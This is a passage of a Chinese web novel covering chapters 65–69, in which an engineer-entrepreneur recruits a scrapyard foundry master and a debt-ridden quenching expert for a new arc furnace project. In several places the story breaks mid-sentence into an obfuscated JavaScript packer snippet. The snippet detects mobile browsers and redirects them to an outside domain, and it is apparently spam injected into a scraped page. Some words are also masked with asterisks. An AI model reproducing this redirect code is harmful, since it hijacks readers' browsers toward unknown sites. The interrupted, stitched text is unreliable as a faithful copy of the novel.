锈迹斑斑的钢梁交错堆叠,如巨兽的肋骨直指苍天;报废的机床与锅炉,像一座座沉默的铁质山丘,表面覆盖着一层厚厚的、混杂着雨水与尘埃的油泥;成吨的螺丝、轴承与齿轮,汇成了一条条黑色的、闪烁着金属微光的河流。 这里是钢铁的终点,是机器的墓地,空气中弥漫着一股铁锈与机油混合的、绝望而又厚重的味道。 卡车停在坟场入口,江建国四人跳下车,唯有路承舟,在看到眼前这片钢铁坟场时,脚步微微一顿。 他那双习惯了与精密图纸打交道的眼睛里,流露出一丝工程师面对无序与混乱时,本能的抗拒与痛心。 这里埋葬的每一块废铁,都曾是他笔下线条的延伸,是他脑中数据的物化。 “走吧,路总工。” 江建国的声音将他从沉思中唤醒,“咱们是来刨祖坟的,不是来上坟的。” 穿行在废铁堆成的小径中,脚下不时发出“咯吱”的踩踏声。 刘福生和钱德禄,这两个与金属打了一辈子交道的匠人,此刻的表情却格外肃穆。 他们能从这些残骸的切口、断面上,读出它们生前的故事哪些是寿终正寝,哪些又是死于非命。 走了约莫百米,前方豁然开朗。 一片相对平坦的空地上,一个赤裸着上身、只穿一条沾满油污的工装裤的男人,正背对着他们。 那是一个光从背影看,就足以让人心生敬畏的男人。 他的身形比“活阎王”刘福生还要魁梧一圈,古铜色的皮肤在晨光下泛着金属般的光泽,虬结的肌肉如同花岗岩雕刻而成,每一块都充满了**性的力量。 他手中没有拿任何工具,只是徒手抱着一截直径超过半米、重达数百斤的生铁管道,双臂肌肉贲张,青筋如地龙般暴起。 “喝!” 他发出一声沉闷如牛的低吼,腰背发力,竟硬生生将那截沉重的铁管,举过头顶,然后重重地砸向地面上的一块巨石! 一声震耳欲聋的巨响,火星四溅! 那坚硬的生铁管道,竟被他用最原始、最野蛮的方式,从中砸断! 做完这一切,他随手抓起旁边一个油桶里不知装了多久的、泛着黄的雨水,“咕咚咕咚”灌了几大口,然后抹了把嘴,这才缓缓转过身来。 一张饱经风霜、写满了暴躁与不耐烦的脸,出现在众人面前。 他就是孙大海,“铁水观音”。 只是此刻的他,身上没有半分“观音”的慈悲,只有一种随时准备与整个世界为敌的、凶兽般的戾气。 “看什么看?” 孙大海的目光扫过众人,声音如同两块生铁在摩擦,沙哑而又刺耳,“买废铁,自己进去挑,称好了给钱。不买,就滚!” 路承舟刚想上前开口,江建国却不动声色地拦住了他。 对付这种浑身长满了刺的猛兽,任何客套与寒暄,都是多余的。 江建国从丁建中手里,接过一个用麻布包裹的东西,径直走到孙大海面前,将它“砰”的一声,扔在了那截刚刚被砸断的铁管上。 “孙师傅。” 江建国看着他那双浑浊却依旧锐利的眼睛,开门见山,“我不是来买废铁的。” “我是来,让你看一件废铁的。” 孙大海眉头一皱,不耐烦地瞥了一眼那个麻布包。 江建国解开布包,露出一块人头大小、形态极不规则的金属疙瘩。 这东西通体黝黑,表面布满了气孔与裂纹,看上去就像一坨烧焦了的、毫无价值的炉渣。 “我听说,” 江建国的声音不大,却清晰地传入孙大海的耳朵,“整个奉天城,只有你‘铁水观音’,能用一双肉眼,看穿铁的魂。” “这块料,是我一个朋友炼废的。我想请孙师傅给瞧瞧,它到底是**的。” 孙大海的脸上,露出一丝毫不掩饰的、看**般的嘲弄。 “你有病吧?” 他指着身后那座废铁山,“老子这里每天有几百吨的废铁等着处理,你拿这么一坨狗屎过来,让我给你相面?滚蛋!” “不敢看?” 江建国笑了,那笑容里,带着一种精准的、淬了毒的挑衅。 “还是说,外面的传言,都是放屁?你这双被铁水熏了二十年的眼睛,早就瞎了,现在只认得秤砣,分不出好赖了?” “**找死!” 孙大海瞬间就被点燃了! 他那庞大的身躯猛地向前一踏,一股骇人的气势如同实质般压了过来,连空气都仿佛凝重了几分! 刘福生下意识地向前一步,挡在了江建国身前,与孙大海那凶兽般的气场,轰然对撞! “老孙,” 刘福生低吼道,“二十年不见,你这脾气,还是这么臭!” 孙大海看到刘福生,先是一愣,随即那暴怒的脸上,竟浮现出一抹更为复杂的、混杂着轻蔑与惋惜的表情。 “我当是谁,原来是你这个酒鬼。” 他上下打量着刘福生,“怎么,不在锅炉房里烧你的煤渣,跑我这废铁堆里来捡酒瓶子了?” “我来干什么,不用你管!” 刘福生双眼赤红,“你今天,就说这块料,你看,还是不看!” 孙大海的目光,在刘福生、丁建中、钱德禄,以及那个文质彬彬却眼神执拗的路承舟脸上一一扫过,最后,落回到了江建国身上。 他似乎明白了什么。 “好!” 他狞笑一声,一把推开刘福生,走到那块金属疙瘩前,“老子今天就让你们这群死不瞑目的孤魂野鬼,彻底**这条心!” 他没有用手去碰那块金属。 他只是,缓缓地,蹲了下来。 那一瞬间,他整个人的气质,都变了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341847|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那股暴躁的、凶兽般的戾气,如同潮水般退去。 取而代之的,是一种近乎神圣的、令人窒息的专注。 他像一个虔诚的信徒,在朝拜自己的神只。 他先是看。 目光如同最精密的探针,在那块废铁的每一个气孔、每一道裂纹上,仔细地逡巡。 然后是闻。 他凑上前,鼻翼微微翕动,仿佛在分辨着这块金属尸体上,残留的、死亡的气息。 最后,他从腰间摸出了一把小小的铁锤,在那金属疙瘩上,轻轻地、有节奏地,敲击起来。 “叮……当……叮叮……” 清脆而又沉闷的声音,在废铁堆里回荡。 他的耳朵,微微耸动,双眼,则死死地盯着锤子落下时,金属表面那转瞬即逝的、细微的震颤。 他在“听”。 他在听这块钢铁亡魂,临死前的最后哀嚎。 路承舟站在一旁,看着眼前这近乎巫术的一幕,他那建立在科学与数据之上的世界观,正在被一柄无形的小锤,敲得寸寸碎裂。 足足过了五分钟。 孙大海站起身,他那张粗犷的脸上,已经没有了半分嘲弄,只剩下一种属于宗师的、洞悉一切的淡然。 他看着江建国,缓缓开口,声音沙哑,却字字如钧。 “这不是普通的废铁。” “这是铬钼合金钢,想要做轴承的料。可惜,火候不对,人心,更不对。” 他伸出一根粗壮的手指,点在那块废铁上最大的一道裂纹上。 “第一,炉温高了至少三十度,导致硅和锰烧损过量,钢水氧化严重,所以才会这么多气孔。” 他又指向另一片麻点。 “第二,脱氧没做好。应该是用了铝脱氧,但加料的时机和分量,全凭瞎蒙,铝粒没能完全熔化,在钢水里形成了氧化铝夹杂物,就是这些狗屎。” 最后,他的目光,落在了那狰狞的裂口上。 “最蠢的是第三点。这种料,出炉后必须缓冷,或者马上送去热处理。可你们,直接把它扔在了地上,让它自己冷却。冷热不均,应力过大,它不裂,天理难容!” 他一口气说完,整个废铁收购站,鸦雀无声。 路承舟的脸上,血色尽褪,嘴唇微微颤抖,眼神里只剩下见鬼了一般的惊骇! 因为孙大海说的,每一个字,都精准地、毫厘不差地,命中了他们前几天试制失败时的所有症结! 这已经不是技术分析了。 这是通灵! 孙大海看着路承舟那副表情,冷笑一声,将那块废铁,一脚踢到了江建国的脚下。 “诊断完了。病因是,一群外行,在瞎搞。” 他拍了拍手上的灰,重新变回了那个暴躁的废品站老板。 “现在,拿着你的垃圾,滚出我的地盘。” 江建国却笑了。 他没有去捡那块废铁,而是从路承舟手中,拿过了一卷崭新的图纸,缓缓展开。 那是一张结构复杂、标注着无数精密数据的,全新一代大型电弧熔炼炉的总装图。 “孙师傅,诊断费,我江建国认。” 他将图纸,递到了孙大海的面前,眼神灼热如火。 “可我今天来,不是请你看病的。” “我是来请你,这位整个共和国最好的钢铁神医,跟我一起……” “救命的!” 第66章 熔炉为契,神魂为价 那张巨大的图纸,在废铁坟场刺鼻的空气中展开,像是一面突兀地闯入地狱的、来自天堂的战旗。 图纸上的线条精密、繁复,充满了冷静的、不容置疑的工业美感,与周围那些扭曲、锈蚀的钢铁尸骸形成了触目惊心的对比。 一面是死亡,另一面,则是重生。 孙大海的目光,如同被磁石吸引的铁屑,死死地钉在了那张图纸上。 他那张写满暴躁的脸上,第一次出现了短暂的空白。 那是一种野兽面对超出其理解范围事物时的、本能的凝滞。 但他毕竟是孙大海。 是曾经能与千度铁水共鸣的“铁水观音”。 短暂的失神后,他眼中的迷茫迅速被一种更加深沉的、混杂着专业与轻蔑的审视所取代。 他冷哼一声,粗壮的脖颈微微扬起,像一头被挑衅的公牛。 “救命?” 他沙哑的嗓音里充满了讥诮,“就凭一张画在纸上的饼?小子,我玩铁水的时候,你还在穿开裆裤。这种哄外行、骗领导的玩意儿,我见得多了。画得再漂亮,也只是废纸一张!” 他甚至懒得伸手去接那张图纸,仿佛多看一眼都是对自己的侮辱。 江建国并不意外。 他脸上的笑容没有丝毫变化,只是将图纸又往前递了一寸,那灼热的目光,仿佛要将孙大海的灵魂烫穿。 “孙师傅,这张图纸是不是废纸,你说了不算,它自己说了算。” “你连摸一摸它的胆子都没有,又凭什么断定它的生死?” 这句话,比之前任何一句挑衅都更加恶毒。 它直接否定了孙大海赖以为生的、最根本的骄傲那种仅凭感官就能洞悉金属本质的神技。 “你!” 孙大海那双铜铃般的眼睛瞬间充血,胸膛剧烈地起伏着,喷出的气息仿佛都带着铁锈的腥味。 他死死地盯着江建国,那眼神恨不得将眼前这个不知天高地厚的年轻人,像刚才那截铁管一样,生生砸断。 可他的目光,却不由自主地,一次又一次,被那张图纸上某个局部的、精妙绝伦的设计所吸引。 那是魔鬼的诱惑。 对于一个真正的匠人而言,没有什么比一件自己从未见过、甚至从未想象过的、完美的造物,更具吸引力。 “老孙,” 一直沉默的路承舟,此刻终于开口了。 他的声音不大,却带着一种技术人员独有的、不容辩驳的冷静与权威,“图纸,D3区,电极调节系统。你看一下它的传动结构。我们放弃了传统的液压传动,改用了一套行星齿轮差速伺服系统。理论上,它可以将电极升降的精度,控制在零点一毫米以内。” 孙大海的身体,猛地一震。 他没有回头看路承舟,但那双充血的眼睛里,凶光却褪去了几分,取而代之的,是一种极致的、难以置信的惊疑。 电极升降精度! 这是电弧炉的心脏! 是决定一炉钢水品质的命门! 传统的液压系统,笨重、迟缓,精度误差动辄以厘米计算,全靠老师傅的经验去弥补。 将精度控制在零点一毫米以内? 这是什么概念? 这意味着,电弧的功率可以被前所未有地精准控制! 这意味着,熔炼过程中的能量损耗将被降到最低! 这意味着,他们可以去挑战那些过去想都不敢想的、对温度和成分要求苛刻到变态的特种合金! 骗子! 这绝对是骗子! 孙大海的第一个念头就是这个。 可说话的人,是路承舟。 这个名字,在二十年前的奉天工业界,就等同于“精密”与“权威”的代名词。 他可以不信江建国这个油嘴滑舌的“神棍”,但他无法轻易否定路承舟。 沉默。 死一般的沉默。 废铁场里,只剩下风吹过钢铁缝隙时,发出的、如鬼哭般的呜咽声。 终于,孙大海动了。 他那只足以捏碎顽石的巨手,缓缓地、带着一丝连他自己都未曾察知的、近乎神圣的郑重,伸向了那张图纸。 他没有去拿,而是用两根粗糙的手指,轻轻捏住了图纸的一角,仿佛那不是纸,而是一片薄如蝉翼的、随时可能碎裂的琉璃。 他将图纸,拽到了自己面前。 然后,整个世界,都从孙大海的感官中消失了。 没有了江建国,没有了废铁场,没有了刺骨的寒风。 他的眼中,只剩下那些纵横交错的线条,那些冰冷精准的数字。 他的灵魂,仿佛在瞬间被抽离了那具魁梧的躯壳,钻进了图纸所构建的那个钢铁世界里。 他的目光,不再是审视,而是一种贪婪的、饥渴的啃噬。 他看到了那套匪夷所思的行星齿轮伺服系统,看到了那个设计巧妙、可以极大提升热效率的环形炉底,看到了那套前所未闻的、利用炉壁余热进行废钢预热的能量回收通道…… 图纸上的每一个细节,都在疯狂地冲击着他浸淫了半辈子的铸造知识体系。 他像一个迷信了一辈子神佛的信徒,却在暮年,亲眼看到了外星文明的宇宙战舰设计图。 震撼,颠覆,而后是狂喜! 一种被压抑了二十年、几乎已经彻底死去的、属于创造者的狂喜! “不可能……” 孙大海的嘴唇翕动着,发出了梦呓般的、嘶哑的声音,“炉衬的耐火材料……现有的任何一种高铝砖,都扛不住这种强度的连续电弧冲击。三天,最多三天,炉子就得报废!” 他终于找到了一个致命的破绽! 他猛地抬起头,那双眼睛重新燃起了火焰,死死地盯住路承舟,像一头抓住了猎物破绽的饿狼! 然而,路承舟的脸上,却露出了一丝赞许的、棋逢对手的微笑。 “我们当然知道。” 他从自己的公文包里,拿出了一块拳头大小的、呈现出一种奇异的深灰色的砖块样品,递了过去。 “镁碳砖。我们调整了配方,在传统的镁砂里,加入了百分之十五的鳞片石墨,并且改进了烧结工艺。实验室数据表明,它的抗热震性和耐侵蚀性,是传统高铝砖的三倍以上。” 孙大海一把夺过那块砖。 他甚至没有用锤子去敲,只是把它放在手心,用另一只手的手指,在上面轻轻地、有节奏地弹动着。 那双耳朵,再次耸动起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341848|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 他在听。 听这块砖的“骨头”,有多硬。 半晌,他抬起头,那张粗犷的脸上,所有的暴躁、轻蔑、怀疑,全都消失得无影无踪。 只剩下一种,大彻大悟般的,混杂着震撼与颓败的平静。 他输了。 输得心服口服,体无完肤。 眼前这群人,不是来画饼的疯子,也不是来招摇撞骗的神棍。 他们,是来真的。 他们是真的要在这片工业的废墟之上,重新建起一座通天的神殿。 孙大海缓缓站起身,他那庞大的身躯,在这一刻,竟显得有些萧索。 他没有再看任何人,只是转身,默默地走回了他那座用废铁和油桶搭建的、简陋的窝棚。 刘福生等人面面相觑,不知道这算什么意思。 只有江建国,依旧站在原地,脸上挂着那副智珠在握的笑容,仿佛早已预料到了一切。 片刻之后,孙大海从窝棚里走了出来。 他换上了一件虽然陈旧、但却洗得干干净净的蓝色工装。 手里,提着一个沉重的、看不出本来面目的帆布工具包。 他走到江建国面前,没有说一句废话,只是将那张电弧炉的图纸,小心翼翼地,卷了起来,紧紧地抱在怀里,仿佛那是什么绝世的珍宝。 然后,他抬起头,用那双已经恢复了神采的、如同鹰隼般锐利的眼睛,看着江建国,一字一顿地问道:“什么时候开炉?” 这五个字,比任何承诺和誓言,都更有分量。 江建国笑了,笑得无比开怀。 他伸出手,重重地,拍在了孙大海那花岗岩般坚实的肩膀上。 “不急。” “在开炉之前,咱们得先把这奉天城里,所有丢了魂的兄弟,都给找回来。” 孙大海点了点头,他看了一眼站在江建国身后的路承舟、丁建中、刘福生和钱德禄,似乎瞬间明白了所有。 他没有再问,只是转过身,对着废铁场深处,发出一声石破天惊的怒吼:“小兔崽子们,都给老子滚出来!” 吼声如雷,在无数钢铁尸骸间回荡。 很快,七八个同样赤裸着上身、浑身脏兮兮的精壮汉子,从各个角落里钻了出来,敬畏地看着孙大海。 “把东边那堆‘垃圾’,给老子清出来!” 孙大海用下巴指了一个方向,“里面那几吨高铬铸铁,还有那批废弃的军工模具钢,都分拣好,装上他们的车!” “那不是……” 一个年轻的汉子刚想说什么,却被孙大海凶狠的眼神给瞪了回去。 那些,根本不是废铁! 那是孙大海这几年,凭着一双毒辣的眼睛,从无数真正的废品中,一点一点淘出来的宝贝! 是他压箱底的,准备东山再起的最后家当! 现在,他却要把它们,全部,献给这座还只存在于图纸上的熔炉。 江建国看着眼前这一幕,心中豪情万丈。 点将台第一战,功成! 他知道,他得到的,不仅仅是一个铸造宗师。 他得到的,是这位废铁之王的全部身家,以及那颗,比最精纯的钢水,还要滚烫的匠魂! 第67章 淬火王的价码 解放牌卡车沉重地驶离了那座钢铁坟场。 车斗里,堆积如山的并非寻常废铁,而是一位神只倾其所有押上的赌注,是孙大海耗费数年心血、从无数尸骸中淘出的精魂。 它们在阳光下闪烁着幽暗的光,每一块都承载着一个不甘的故事。 车厢内,气氛压抑得近乎凝固。 新加入的孙大海如同一尊沉默的铁塔,占据了副驾驶的位置,他怀中紧紧抱着那卷电弧炉图纸,仿佛抱着失散多年的亲子。 他身上那股生人勿近的暴戾气息并未消散,却多了一种寻回信仰的沉静,两种截然相反的气质在他身上交汇,形成了一种令人不敢直视的威严。 后排,路承舟、丁建中、刘福生和钱德禄四人挤在一起。 没有人说话,但每个人的心跳都如同战鼓。 他们亲眼见证了一场近乎神迹的“点将”,江建国只用了区区一块废料和一卷图纸,就降服了整个奉天工业界最桀骜不驯的一头凶兽。 这种震撼,远比当初在理发店里看到钱德禄重拾剃刀,来得更加猛烈。 “下一个。” 江建国打破了沉默,他的声音平稳,听不出任何情绪,仿佛刚才那场惊心动魄的交锋只是一次寻常的拜访。 他一边熟练地操控着方向盘,让这辆老旧的卡车躲过路面的坑洼,一边通过后视镜,看向路承舟。 路承舟深吸一口气,压下心中的波澜,迅速切换回总工程师的冷静。 他翻开那本神魔录,手指点在了第二页。 “赵立本,‘淬火王’。” “老赵……” 丁建中浑浊的眼中闪过一丝不忍,“他是个好人,一辈子没跟人红过脸,技术上更是没得说。可惜啊,好人不长命,祸害遗千年。” “他怎么了?” 江建国问道。 路承舟的脸上浮现出一抹沉痛,“他儿子,三年前查出了白血病。为了治病,老赵卖了祖房,借遍了亲友,最后还欠了外面十几万的债。病没看好,人也没了,就剩下他一个人,守着一身还不完的债。” 十几万。 在这个工人工资普遍只有几十块、上百块的年代,这无疑是一个足以将人活活压死的天文数字。 “他现在在哪?” “城东,一家私人的五金加工厂。” 路承舟的语气里透着鄙夷与无奈,“给人家打零工,干的是最粗苯的活。淬个菜刀,热处理个农具零件,一个月,挣两百块钱。” 曾经为国之重器淬炼筋骨的双手,如今却在为几块钱的廉价菜刀服务。 这简直是比孙大海守着废铁堆,更加残忍的羞辱。 “老板叫什么?” 江建国又问。 “马光头,一个投机倒把起家的混子。” 刘福生啐了一口,满脸不屑,“我听说过他,克扣工钱,压榨工人,就不是个东西!” 江建国点了点头,没再说话。 他猛地一打方向盘,老旧的卡车发出一声痛苦的呻吟,调转车头,朝着城东的方向,轰鸣而去。 车厢再度陷入沉默,但这一次,气氛却截然不同。 如果说去见孙大海时,众人心中还存着几分忐忑与不确定,那么现在,所有人的心里都燃起了一团火。 一团混杂着同情、愤怒与期待的,复仇之火。 半小时后,卡车停在了一家连厂牌都歪歪扭扭的五金加工厂门口。 一股刺鼻的、劣质淬火油燃烧后产生的酸臭气味扑面而来,混杂着砂轮机摩擦金属时发出的尖利噪音,让人阵阵作呕。 江建国率先跳下车,其余五人紧随其后。 孙大海将那卷图纸小心翼翼地放在驾驶座上,然后跟了上来,他那山峦般的身形,光是站在那里,就足以让整个破败的工厂都显得更加渺小。 工厂里光线昏暗,油污遍地。 几个工人麻木地操作着老旧的机床,发出震耳欲聋的轰鸣。 而在工厂最角落,那个最闷热、最呛人的地方,一个瘦削佝偻的背影,正站在淬火槽边。 他穿着一件被油污浸透、看不出本色的褂子,头发花白稀疏,脸上架着一副镜片厚得像瓶底的老花镜。 他的动作机械而又迟缓,用铁钳夹起一把烧红的菜刀,浸入油槽中。 “嗤啦”一股浓烈的白烟升腾而起,带着令人作呕的气味。 他就是赵立本。 那个曾经能用耳朵听出钢材火候的“淬火王”。 可现在,他看上去就像一个随时都可能被这呛人的油烟熏倒的、风烛残年的老人。 他的脸上,看不到一丝一毫属于宗师的神采,只剩下被生活重担磨平了一切棱角的、令人心碎的麻木。 就在这时,一个光着膀子、脖子上戴着大金链子的胖子,晃晃悠悠地走了过来。 他正是这家工厂的老板,马光头。 “老赵头,磨蹭什么呢?” 马光头一脸不耐烦,用脚踢了踢旁边的铁料筐,“这批活今天必须干完!干不完,这个月的工钱,你就别想要了!” 赵立本的身体微微一颤,他转过头,露出一张满是皱纹与愁苦的脸,声音微弱地辩解道:“马老板,这批料不行,碳含量太杂,火候不好控,淬出来容易裂……” “我管你裂不裂!” 马光头眼睛一瞪,一口浓痰吐在地上,“我给你钱,是让你干活的,不是让你给老子当技术员的!让你怎么干,你就怎么干!废话那么多,不想干就滚蛋!” 赵立本嘴唇哆嗦着,最终还是什么都没说,只是默默地低下头,重新夹起了一把烧红的刀坯。 那双曾经创造过无数工业奇迹的手,此刻却在剧烈地颤抖。 丁建中和刘福生看得双目欲裂,拳头捏得咯咯作响,几乎就要当场冲上去。 江建国却按住了他们。 他迈步上前,一直走到马光头的面前。 “你就是老板?” 江建国的声音很平静。 马光头斜着眼打量着这个突然出现的陌生人,又看了看他身后那几个气势汹汹的壮汉,特别是如同铁塔般的孙大海,心里不禁有些发怵。 “你谁啊?有事?” 江建国没有回答他,而是径直看向那个佝偻着背的赵立本,开口问道:“赵师傅,我听说,你欠了十几万的债?” 赵立本浑身一僵,缓缓抬起头,浑浊的眼睛里充满了困惑与警惕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341849|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你……你是谁?” “我是谁不重要。” 江建国从怀里,拿出了那个黑色的人造革提包,拉开拉链,将里面那整整一万块钱,一沓一沓地,全都掏了出来,重重地码放在旁边一张油腻的工作台上。 红色的钞票,在这昏暗的工厂里,显得格外刺眼。 整个工厂的噪音,仿佛都在这一刻,被按下了静音键。 马光头和所有工人的眼睛,都直了。 “这里是一万块。” 江建国看着赵立本,语气不容置疑,“我先替你还一部分。剩下的,我会在三天之内,全部帮你还清。” 赵立本彻底懵了,他呆呆地看着那座用钱堆成的小山,又看了看眼前这个陌生的年轻人,嘴唇颤抖着,一个字也说不出来。 “**谁啊你?有病吧!” 马光头最先反应过来,他看着那堆钱,眼中全是贪婪,“老赵头欠我的钱还没还呢!他哪儿也不能去!” “他欠你多少?” 江建国冷冷地瞥了他一眼。 “他……他预支了我五百块工资!” 马光头眼珠一转,狮子大开口,“还有,他跟我签了三年的合同,现在要走,得赔我违约金!没个两千块,休想!” “两千?” 江建国笑了。 他从那一万块钱里,随手抽出二十张,扔在了马光头的脸上。 “这里是两千。现在,他跟你两清了。” 钞票像雪片一样,打在马光头油腻的脸上,然后散落一地。 这已经不是交易,而是赤裸裸的羞辱! “你……” 马光头又惊又怒,指着江建国,却不敢发作。 江建国不再理他,他走到赵立本面前,目光灼灼地看着这位几乎被生活压垮的老人,声音沉稳而又充满了力量。 “赵师傅,钱的债,我来还。” “你欠自己的债,得你自己来还。” 他指了指赵立本手中那把廉价的菜刀,又指了指他身后那座简陋的淬火槽。 “你这双手,是用来给共和国的坦克装甲淬火的,不是用来伺候这些废铜烂铁的!” “你这双耳朵,是用来聆听钢铁心跳的,不是用来听这些杂碎的吆五喝六的!” 江建国的声音,一句比一句高,如同重锤,狠狠地砸在赵立本的心上! “我不管你儿子是没了,还是欠了多少债!我只问你一句!” “你‘淬火王’赵立本,一身的本事,是甘心就这么烂死在这个臭水沟里,还是想跟我走,去烧一座全世界最旺的炉子,淬一把能捅破天的钢?” 说完,他向赵立本,伸出了自己的手。 赵立本呆呆地站在原地,浑浊的老泪,终于再也抑制不住,顺着他那沟壑纵横的脸颊,滚滚而下。 他看着江建国那只宽厚有力的手,又看了看自己那双被油污和伤痕覆盖的手。 二十年的压抑,三年的绝望,在这一刻,轰然决堤。 他猛地扔掉手中的铁钳,发出一声压抑了半辈子的、如同困兽般的嘶吼! 然后,他用尽全身的力气,将自己那只颤抖的手,重重地,握了上去! 第68章 阎王索命,菩萨低眉 那一声压抑了半生的嘶吼,仿佛一头被囚禁在枯井深处的野兽,终于在雷霆的召唤下撞破了井口,将满腔的悲愤与绝望,尽数喷吐向这片昏暗的天空。 赵立本那只枯瘦如柴、沾满油污的手,与江建国宽厚有力的手掌,重重地握在了一起。 那不是一次简单的握手,更像是一场迟到了二十年的契约,以一个濒死匠人的全部尊严为抵押,以一座尚未诞生的熔炉为承诺。 泪水,在那张沟壑纵横的脸上肆意流淌,冲刷出两条混杂着烟灰与油泥的、清晰的泪痕。 工厂里的噪音不知何时已经彻底停歇。 所有的工人,都像被施了定身法一般,呆呆地看着这一幕。 他们或许无法完全理解江建国那番话的含义,但他们能清晰地感受到,那个平日里沉默寡言、逆来顺受的赵老头,身上某种早已死去的东西,正在以一种无比决绝的姿态,轰然复活。 马光头的脸色,比淬火槽里那锅废油还要难看。 他眼中的贪婪被惊怒所取代,随即又化作一种被当众剥光了衣服的、极致的羞辱。 钱被扔在脸上,人被当面挖走,这已经不是在打他的脸,而是在把他马光头的脸,按在满是油污的地上,用砂轮来回摩擦! “反了!都他妈反了!” 马光头终于从震惊中回过神来,他那身肥肉因为愤怒而剧烈地颤抖着,指着赵立本的鼻子破口大骂,“赵立本!你个老不死的!你忘了当初是谁收留你的?你忘了你儿子办丧事的钱都是从老子这预支的?你现在翅膀硬了,想跟着小白脸跑了?我告诉你,门都没有!” 他又转向江建国,那双三角眼里迸射出怨毒的光。 “还有你!小子,别以为有几个臭钱就了不起!知道这是谁的地盘吗?敢在老子的厂里撒野,信不信我让你今天走不出这条街!” 话音未落,一道黑影如山般压了过来。 是刘福生。 这位曾经的锅炉房“活阎王”,此刻脸上再无半分憨厚,那双野兽般的眼睛里燃着嗜血的凶光。 他一言不发,只是伸出一只蒲扇般的大手,一把掐住了马光头的脖子,轻而易举地,就将他那超过两百斤的身体,从地上提了起来! “呃……呃……” 马光头的双脚在空中无力地乱蹬,那张肥胖的脸瞬间涨成了紫红色,喉咙里只能发出破风箱般的嗬嗬声。 他眼中怨毒的凶光,顷刻间被死亡的恐惧所吞噬。 整个工厂,一片死寂,只剩下马光头那令人牙酸的挣扎声。 “老刘。” 江建国的声音淡淡响起,不带一丝波澜。 刘福生回头,那双赤红的眼睛看向江建国。 “弄脏了咱们的手,不值当。” 江建国平静地说道,“让他下来。” 刘福生喉咙里发出一声不甘的低吼,但还是松开了手。 马光头如同一滩烂泥般瘫倒在地,捂着自己的脖子,一边剧烈地咳嗽,一边贪婪地呼吸着那呛人的空气。 江建国缓步走到他面前,居高临下地看着他,眼神里没有愤怒,只有一种看穿一切的、冰冷的漠然。 “我今天来,是请赵师傅的,不是来跟你这只苍蝇计较的。” 他的声音不大,却清晰地传入每个人的耳朵。 “钱,我给了。人,我要带走。你有两个选择。” 江建国伸出一根手指。 “第一,你收下钱,闭上嘴,今天的事,就当没发生过。我们走我们的阳关道,你继续守着你的破工厂。” 他又伸出第二根手指,嘴角勾起一抹森然的弧度。 “第二,你不服气,想跟我掰掰手腕。也行。我听说,你这厂子里的消防通道,常年被废料堵着。我还听说,你给工人用的淬火油,是回收的废机油,闪点低的吓人。最关键的是……” 江建国顿了顿,目光如同手术刀般,剖开了马光头内心最深的恐惧。 “我听说,你上个月卖给城南建筑队的那批地脚螺栓,为了省成本,连最基本的热处理工序都省了。那栋楼要是出了事,你说,是判你个生产销售伪劣产品罪呢,还是判你个危害公共安全罪?” 马光头的咳嗽声,戛然而止。 他猛地抬起头,那张肥脸上血色尽褪,只剩下见鬼了一般的惊骇与恐惧! 这些事…… 这些事他怎么会知道? 这已经不是威胁,这是索命! 江建国不再看他,转身走到赵立本身边,将那堆散落在工作台上的钱,重新码放整齐,塞回了提包里。 他只留下了那两千块,轻轻放在赵立本身旁。 “赵师傅,这是你的安家费,不是给他的买命钱。” 说完,他拍了拍赵立本的肩膀,“走吧,咱们的炉子,还等着你这位‘淬火王’去定火候呢。” 赵立本重重地点了点头,他挺直了那佝偻了三年的腰杆,仿佛卸下了千斤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“三年前,他金盆洗手,开了家饭馆,生意红火,是奉天城里有名的‘陈老板’。” 路承舟合上笔记,看着江建国,缓缓说道:“咱们要请的,是一个已经上了岸的江湖大佬。” 第69章 金盆洗手,铁屑烫心 卡车驶向的不再是工业的废墟,而是人间的烟火。 当那座名为“陈记食府”的三层小楼映入眼帘时,车厢内的气氛变得前所未有的诡异。 红砖绿瓦,门脸敞亮,门口停着几辆在这个年代堪称豪华的轿车。 进进出出的人衣着体面,脸上挂着酒足饭饱的红光。 这里没有冲天的黑烟,没有刺鼻的油污,更没有被生活压得直不起腰的宗师。 这里只有生意,只有人情世故,只有一派欣欣向荣的繁华景象。 “就是这儿。” 路承舟的声音有些干涩。 